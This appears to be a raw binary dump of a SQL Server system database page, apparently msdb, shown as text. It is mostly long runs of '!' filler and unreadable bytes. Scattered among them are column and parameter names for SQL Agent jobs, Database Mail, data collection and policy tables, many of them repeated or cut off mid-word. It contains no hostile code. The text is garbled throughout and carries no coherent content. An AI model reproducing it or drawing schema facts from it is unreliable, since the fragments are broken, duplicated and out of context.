!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'m"x%>G@0M!
8]|1(>t-R

:
	

0t?J	a		~I
`-8)M6l^0-<8z88
Smessage_type_id0-<8z	88
Iservice_id0-<8z
88
[service_contract_id0-<8zIvalidation0-<8z88
Onext_fragment0-<8z
88
Ofragment_size0-<8zSfragment_bitmap0-<8z@[binary_message_body0-<8z==]message_enqueue_time0-KR[{4S@subsystem_name0-KR[{88
G@proxy_id0-KR[{4?@name0-KR[{88
M@raise_error0-KR[{88
]@allow_disable_proxy0-KR[{88
c@verify_special_account0-KR[{88
_@check_only_read_perm0-u\{88
Moplsn_fseqno0-u\{88
Ooplsn_bOffset0-u\{88
Moplsn_slotid0-u\{88
Cfile_id0-u\{$$Krowset_guid0-u\{$$Kcolumn_guid0-u\{_filestream_value_name0-u\{etransaction_sequence_num0-u\{	Astatus0-u\{
=size0-=z4O@message_data0-3z4?@name0-3z$$S@parentfolderid0-X{4?@name0-X{$$;@id0-X{4M@description0-X{==K@createdate0-X{$$G@folderid0-X{""M@packagedata0-X{88
Q@packageformat0-X{88
M@packagetype0-X{	88
G@vermajor0-X{
88
G@verminor0-X{88
G@verbuild0-X{4M@vercomments0-X{
$$A@verid0-CF{bbPA@value0-S{4Edac_name0-S{4edac_server_instance_name0-S{88
	}ois_volume_space_over_utilized0-S{88
B~qis_volume_space_under_utilized0-S{88
{{is_computer_processor_over_utilized0-S{88
}is_computer_processor_under_utilized0-S{88
,kis_file_space_over_utilized0-S{88
&Q}mis_file_space_under_utilized0-S{	88
_uqqis_dac_processor_over_utilized0-S{
88
esis_dac_processor_under_utilized0-S{hhѽY]is_policy_overridden0-S{88

MIset_number0-S{
++
"
CBSprocessing_timeC@job_id0-~4G@job_name0-~88
E@step_id0-~88
S@sql_message_id0-~88
O@sql_severity0-~88
S@start_run_date0-~88
O@end_run_date0-~88
S@start_run_time0-~	88
O@end_run_time0-~
88
_@minimum_run_duration0-~88
K@run_status0-~88
U@minimum_retries0-~
88
O@oldest_first0-~4C@server0-~4?@mode0-~88
G@order_by0-~hhe@distributed_job_history0->$$C@job_id0->D4S@job_id_as_char0-=z4O@message_data0-0b{$$M@conv_handle0-0b{4Y@message_type_name0-0b{4W@xml_message_body0-i|88
M@mailitem_id0-i|88
K@profile_id0-i|$$]@conversation_handle0-i|4a@service_contract_name0-i|4Y@message_type_name0-}$$]@conversation_handle0-}4a@service_contract_name0-}4Y@message_type_name0-~88
U@receive_timeout0-4M@attachments0-$$S@temp_table_uid0-hh_@exclude_query_output0-3z4?@name0-3z$$S@parentfolderid0-X{4?@name0-X{$$;@id0-X{4M@description0-X{==K@createdate0-X{$$G@folderid?&H`t
[
Ej

:
		s	UPw*/o"I
 	>W`-a)DAQ|0-hhW@forced_defection0-!4U@msx_server_name0-!4G@location0-F4M@server_name0-Fhh[@clear_downloadlist0-FhhS@post_defection0-Oj88
C@Action0-Oj4K@ServerName0-Oj4G@Location0-Oj88
[@TimeZoneAdjustment0-Oj==I@LocalTime0-Oj4K@NTUserName0-Oj88
O@PollInterval0-
^$$S@task_detail_id0-
^4A@Line10-
^4A@Line20-
^4A@Line30-
^4A@Line40-
^4A@Line50-
^4M@server_name0-
^00I@succeeded0-
^	==K@start_time0-
^
==G@end_time0-
^88
O@error_number0-
^4Q@error_message0-
^
4E@command0-1R$$K@subplan_id0-1R$$E@plan_id0-1R4?@name0-1R4M@description0-1R$$C@job_id0-1R88
M@schedule_id0-1RhhO@allow_create0-1R$$K@msx_job_id0-UF$$E@plan_id0-_)88
Y@collection_set_id0-_)4?@name0-_)hhY@dump_on_any_error0-_)4Q@dump_on_codes0-'$$Ycollector_type_uid0-'4=name0-'@Uparameter_schema0-'@[parameter_formatter0-'4Wschema_collection0-'4ccollection_package_name0-'$$kcollection_package_folderid0-'4[upload_package_name0-'	$$cupload_package_folderid0-'
hhCGis_system0-54U@object_set_name0-54A@facet0-588
Q@object_set_id0-n4U@object_set_name0-n88
Q@object_set_id0-A88
Gpolicy_id0-A4=name0-A88
Mcondition_id0-A88
Wroot_condition_id0-A==RMdate_created0-A88
Ҭ Qexecution_mode0-A88
Ypolicy_category_id0-A$$Mschedule_uid0-A	4@!Kdescription0-A
@4@"Ghelp_text0-AF4F6?#Ghelp_link0-A88
Oobject_set_id0-A
hhoc}$Iis_enabled0-A$$Ajob_id0-A4q%Icreated_by0-A4Kmodified_by0-A==Odate_modified0-Ahhe&Gis_system0-A88
IVpolicy_id0-D$$[@source_instance_id0-D$$M@instance_id0-D4Q@instance_name0-D4Q@database_name0-}74Q@database_name0-[4Q@database_name0-[4G@new_name0-	~88
Ktarget_type0-	~88
Oresource_type0-	~88
Uutilization_type0-	~4Ifacet_name0-	~4Qattribute_name0-	~88
Ooperator_type0-	~4Oproperty_name0-S-r88
Yrollup_object_type0-S-r88
Ktarget_type0-S-r88
Oresource_type0-S-r88
Uutilization_type0-S-r4Ifacet_name0-S-r4Qattribute_name0-S-r88
Ooperator_type0-S-r4Oproperty_name0-H88
S@new_set_number0-)#=88
S@new_set_number0-bG188
S@new_set_number0-'	$$cupload_package_folderid0-'
hhCGis_system0-54U@object_set_na~#NZ	L
7d<ETSYl!
	e	"	Q>
p

i,*gny*;p!Fw6aH)

C`-Q)[K,}WA0--(4A@class0--(4?@name0--(4G@new_name0-")4A@class0-")4?@name0-4A*4A@class0-4A*4?@type0-4A*4?@name0-4A*hhC@suffix0-me
+4M@server_name0-,)$$Cplan_id0-,)4Odatabase_name-b
)000-b
)4I@data_type0-2*4]physical_server_name0-2*4]server_instance_name0-2*4Edac_name0-2*==Sdac_deploy_date0-2*@4@Sdac_description0-2*@4@;urn0-2*@4@Spowershell_path0-2*	++
"
Sprocessing_time0-2*
++
"
Ibatch_time0-2*;;wdac_percent_total_cpu_utilization0-2*88
CPdac_id0-V*4[virtual_server_name0-V*4]physical_server_name0-V*4Uvolume_device_id0-V*4Kvolume_name0-V*;;_total_space_available0-V*;;Ifree_space0-V*;;]total_space_utilized0-V*	;;spercent_total_space_utilization0-V*
++
"
Sprocessing_time0-V*++
"
Ibatch_time0-V*@4@Spowershell_path0-V*88
;HID0-8(00M@object_type0-8(4]@virtual_server_name0-8(4W@volume_device_id0-8(4_@server_instance_name0-8(4Q@database_name0-8(4S@filegroup_name0-8(4[@database_file_name0-8(++
"K@start_time0-8(	++
"G@end_time0-8(
00_@aggregation_interval0-8(;;kstorage_utilization_percent0-8(mstorage_utilization_in_bytes0-8(gstorage_capacity_in_bytes0-8(++
"
Ksample_time0-q()00M@object_type0-q()4_@physical_server_name0-q()4_@server_instance_name0-q()4G@dac_name0-q()++
"K@start_time0-q()++
"G@end_time0-q()00_@aggregation_interval0-q();;oprocessor_utilization_percent0-q()++
"
Ksample_time0-L*88
Adac_id0-L*4Edac_name0-L*==Wdac_deployed_date0-L*@4@Sdac_description0-L*;;wdac_percent_total_cpu_utilization0-L*4edac_server_instance_name0-L*4edac_physical_server_name0-L*++
"
[dac_collection_time0-L*	++
"
[dac_processing_time0-L*
@4@;urn0-L*@4@Spowershell_path0-p+88
Kcomputer_id0-p+4[virtual_server_name0-p+4]physical_server_name0-p+88
Mis_clustered0-p+;;_processor_utilization0-p+4Ecpu_name0-p+jj	
	[cpu_max_clock_speed0-p+++
"
Sprocessing_time0-p+	@4@;urn0-p+
@4@Spowershell_path0-L*88
Adac_id0-L*4Edac_name0-L*==Wdac_deployed_date0-L*@4@Sdac_description0-L*;;wdac_percent_total_cpu_utilization0-L*4edac_server_instance_name0-L*4edac_physical_server_name0-L*++
"
[dac_collection_time0-L*	++
"
[dac_processing_time0-L*
@4@;urn0-L*@4@Spowershell_path0-p+88
Kcomputer_id0-p+4[virtual_server_name0-p+4]physical_server_name0-p+88
Mis_clusterz{.v+
h
		O	PWBSvf'5T_H]%y+9h'I

P
I.Z`-)K0-'4DZ-Olast_mod_user-)(hh!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`->)~O!ݥ0-]!A%Kdest_length0-]!hhzz&Odest_nullable0-]!88
n'Wdest_createparams0-]!	hhc(Edataloss0-lu"4?@name0-Ci#4?@name0-]($4Gparamname0-]($4Iparamvalue0-]($4Kdescription0-]($==&&Wlast_mod_datetime0-]($4_'Olast_mod_user0-g]$4K@group_name0-g]$4M@server_name0-Q%4K@group_name0-Q%4M@server_name-!@40-!$$K@package_id0-'%"$$Ycollector_type_uid0-'%"4=name0-'%"@Uparameter_schema0-'%"@[parameter_formatter0-'%"$$_collection_package_id0-'%"@4@ccollection_package_path0-'%"4ccollection_package_name0-'%"$$Wupload_package_id0-'%"	@4@[upload_package_path0-'%"
4[upload_package_name0-'%"hhGis_system0-`I#$$[@collector_type_uid0-`I#4?@name0-m$$$[@collector_type_uid0-m$4?@name0-m$W@parameter_schema0-m$]@parameter_formatter0-m$$$a@collection_package_id0-m$$$Y@upload_package_id0-ґ%$$[@collector_type_uid0-ґ%4?@name0-ґ%W@parameter_schema0-ґ%]@parameter_formatter0-ґ%$$a@collection_package_id0-ґ%$$Y@upload_package_id0-`"88
I@action_id0-5T#00S@return_scripts0-EYH$4=name0-EYH$bbPPOcurrent_value0-0&4=name0-0&bbPPOcurrent_value-*#40-*#4G@sql_name-Ts%88
0-Ts%88
[@rollup_object_type0-Ts%88
M@target_type0-Ts%88
Q@resource_type0-Ts%88
W@utilization_type-%88
0-%@4Y@rollup_object_urn0-%88
[@rollup_object_type0-%88
M@target_type0-%88
Q@resource_type0-%88
W@utilization_type0-*i$88
M@instance_idpload_package_id0-'%"	@4@[upload_package_path0-'%"
4[upload_package_name0-'%"hhGis_system0-`I#$$[@collector_type_uid0-`I#4?@name0-m$$$[@collector_type_uid0-m$4?@name0-m$W@parameter_schema0-m$]@parameter_formatter0-m$$$a@collection_package_id0-m$$$Y@upload_package_id0-ґ%$$[@collector_type_uid0-ґ%4?@name0-ґ%W@parameter_schema0-ґ%]@parameter_formatter0-ґ%$$a@collection_package_id0-ґ%$$Y@upload_package_id0-&$$[@collector_type_uid0-&4?@name0-&K@parameters0-Dڎ'88
Wcollection_set_id0-Dڎ'$$Ycollector_type_uid0-Dڎ'4=name0-Dڎ'88
Cname_id0-Dڎ'88
Gfrequency0-Dڎ'@Iparameters0-Dڎ'88
[hcollection_item_id0-`"88
I@action_id0-5T#00S@return_scripts0-EYH$4=name0-EYH$bbPPOcurrent_value0-0&4=name0-0&bbPPOcurrent_value0-$'88
Uutilization_type0-$'88
[occurence_frequency0-$'88
Strailing_window-*#40-*#4G@sql_name<WQ
<x-b1I

4
		FF[[		
^^I,A
Q`->)hL !A_0-ϓ4hhm@syssubsytems_refresh_needed0-488
Eproxy_id0-4UU;sid0-488

5?flags0-R588
Kmailitem_id0-R588
Iprofile_id0-R54@Irecipients0-R54@Scopy_recipients0-R54@_blind_copy_recipients0-R54Csubject0-R54@=body0-R54Kbody_format0-R5	4Iimportance0-R5
4Ksensitivity0-R54@Ufile_attachments0-R54[attachment_encoding0-R5
4@?query0-R54aexecute_query_database0-R5hhkattach_query_result_as_file0-R5hh[query_result_header0-R588
Yquery_result_width0-R54aquery_result_separator0-R5hh]exclude_query_output0-R5hhYappend_query_error0-R5==Wsend_request_date0-R54Wsend_request_user0-R588
Ssent_account_id0-R54Ksent_status0-R5==Gsent_date0-R5==Olast_mod_date0-R54Olast_mod_user0-54E@db_name0-b488
Y@collection_set_id0-b44?@name0-b4hh]@stop_collection_job0-Gr5++
"
Sprocessing_time0-Gr500Uaggregation_type0-Gr500Kobject_type0-Gr54	g6[virtual_server_name0-Gr54-[7]server_instance_name0-Gr54QO8Uvolume_device_id0-Gr54+vC9Odatabase_name0-Gr54d7:Qfilegroup_name0-Gr5	4+;Kdbfile_name0-Gr5
;;Uused_space_bytes0-Gr5;;_allocated_space_bytes0-Gr5;;Wtotal_space_bytes0-Gr5
;;_available_space_bytes0-=54]server_instance_name0-=54Edac_name0-=54Qfilegroup_name0-=54=Name0-=54Kvolume_name0-=54Uvolume_device_id0-=54Wdatabasefile_name0-=5;;[current_utilization0-=5	;;Iused_space0-=5
;;Savailable_space0-=588
Wunder_utilization0-=588
Uover_utilization0-=5
88
Gfile_type0-=544Kgrowth_typeaexecute_query_database0-
G6hhkattach_query_result_as_file0-
G6hh[query_result_header0-
G688
Yquery_result_width0-
G64aquery_result_separator0-
G6hh]exclude_query_output0-
G6hhYappend_query_error0-
G6==Wsend_request_date0-
G64Wsend_request_user0-
G688
Ssent_account_id0-
G64Ksent_status0-
G6==Gsent_date0-
G6==Olast_mod_date0-
G64Olast_mod_user0-(2;7==M@sent_before0-(2;74M@sent_status0-54E@db_name0-64I@plan_name0-6$$E@plan_id0-'7$$E@plan_id0-b488
Y@collection_set_id0-b44?@name0-b4hh]@stop_collection_job0-588
Y@collection_set_id0-588
K@is_running0-588
a@is_collection_running0-588
_@collection_job_state0-588
Y@is_upload_running0-588
